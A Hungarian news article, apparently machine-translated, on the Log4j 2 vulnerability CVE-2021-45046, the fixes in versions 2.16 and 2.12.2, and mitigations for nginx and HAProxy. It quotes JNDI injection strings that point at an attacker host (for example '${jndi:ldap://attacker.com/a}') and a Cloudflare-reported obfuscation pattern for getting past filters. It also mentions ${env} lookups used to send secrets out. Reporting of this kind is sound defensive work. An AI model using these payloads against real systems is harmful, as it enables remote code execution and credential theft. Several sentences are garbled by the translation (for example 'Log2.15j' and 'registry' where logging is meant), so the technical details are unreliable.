Nemrég jelent meg a hír, hogy igen újabb sebezhetőséget azonosított a JNDI keresési megvalósításban a Log4j 2 könyvtárban (CVE-2021-45046), amely a 2.15-ös verzióban hozzáadott javítások ellenére és a „log4j2.noFormatMsgLookup” védelmi beállítás használatától függetlenül történik.
A probléma különösen veszélyes a Log4j 2 régebbi verzióira, a "noFormatMsgLookup" jelzővel védett, mivel lehetővé teszi a múltbeli sebezhetőségek (Log4Shell, CVE-2021-44228) elleni védelem megkerülését, ami lehetővé teszi a kód futtatását a szerveren.
mert 2.15-ös verziójú felhasználók, a művelet a feltételek megteremtésére korlátozódik a pályázatnak a rendelkezésre álló források kimerülése miatti rendellenes megszüntetéséért.
Sebezhetőség csak azokat a rendszereket érinti, amelyek környezetkeresést használnak, például $ {ctx: loginId} vagy szálkörnyezeti térkép (MDC) sablonok, például% X,% mdc és% MDC a regisztrációhoz.
A művelet a JNDI-helyettesítéseket tartalmazó adatok rendszerleíró adatbázisba történő elküldéséhez szükséges feltételek létrehozásában megy végbe, amikor az alkalmazásban kontextuslekérdezéseket vagy MDC-sablonokat használ, amelyek meghatározzák a rendszerleíró adatbázis kimenetének formázására vonatkozó szabályokat.
sok A LunaSec kutatói megjegyezték mint a 4-nél régebbi Log2.15j verzióknál, ez a sérülékenység új vektorként használható a Log4Shell támadásokhoz, ami kódfuttatáshoz vezet, ha ThreadContext kifejezéseket használnak a rendszerleíró adatbázisba való közzétételkor, amely külső adatokat is tartalmaz, függetlenül attól, hogy a jelző be van-e állítva védelemre. „NoMsgFormatLookups” vagy „% m {nolookups}” sablon.
A védelmi megkerülést arra a tényre redukálják, hogy a "$ {jndi: ldap: //example.com/a}" közvetlen helyettesítés helyett ez a kifejezés a szabályokban a kijelentkezés formázására használt köztes változó értékét helyettesíti. A regisztráció.
Például, ha a rendszerleíró adatbázisba küldéskor a $ {ctx: apiversion} kontextuskérést használjuk, akkor a támadás végrehajtható a „$ {jndi: ldap: //attacker.com/a}” adat behelyettesítésével az értékben. eltérési változóba írva.
A Log4j 2.15-ös verziójában a biztonsági rés DoS támadások végrehajtására használható amikor értékeket ad át a ThreadContextnek, amely a kimeneti formátum minta feldolgozását végzi.
Megpróbálni megoldani a felmerült problémákat Megjelent a 2.16 és 2.12.2 frissítés hogy blokkolja a sebezhetőséget. A Log4j 2.16 ágban a 2.15-ös verzióban végrehajtott javításokon és a JNDI LDAP kérelmek "localhosthoz" való hozzárendelésén kívül alapértelmezés szerint a JNDI funkció teljesen le van tiltva, és az üzenethelyettesítő sablonok támogatása megszűnt.
Kerülő megoldásként javasolt a JndiLookup osztály eltávolítása az osztályútvonalról (például "zip -q -d log4j-core - *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class").
Mivel a a különböző projektek által hozott intézkedések:
hogy nginxAz njs modul alapján elkészült egy szkript, amely blokkolja a JNDI kifejezések átvitelét a HTTP fejlécekben, URI-kban és a POST kérések törzsében. A szkript használható előtér-kiszolgálókon a háttérrendszerek védelmére.
A HAProxy esetében konfigurációs szabályok állnak rendelkezésre a CVE-2021-44228 működésének blokkolására.
A korábban azonosított, kriptovaluta bányászatot célzó botnet létrehozását célzó támadásokon túlmenően a Log4J 2 sebezhetőségét kihasználva olyan rosszindulatú zsarolóprogramokat terjesztettek, amelyek titkosították a lemezek tartalmát, és váltságdíjat követeltek a visszafejtésért.
A Checkpoint körülbelül 60 változatot azonosított támadásokhoz használt különféle típusú kihasználások.
A CloudFlare arról számolt be, hogy megpróbálja tesztelni a Log4j biztonsági résének megnyilvánulását december 1-jén, azaz 8 nappal a probléma nyilvánosságra hozatala előtt azonosították őket. A sérülékenység kihasználására tett első kísérleteket csak 9 perccel az információ nyilvánosságra hozatala után rögzítették. A CloudFlare jelentés megemlíti az olyan helyettesítések használatát is, mint például a "$ {env: FOO: -j} ndi: $ {lower: L} a $ {lower: P}"-nek megadja a "jndi: ldap" maszk elhagyását és a $ {env} támadási kifejezések a környezeti változókban tárolt jelszavakkal és hozzáférési kulcsokkal kapcsolatos információk átviteléhez külső szerverre, $ {sys} kifejezések pedig a rendszerrel kapcsolatos információk gyűjtésére.
Végül ha érdekel, hogy többet tudjon meg róla ellenőrizheti a következő link.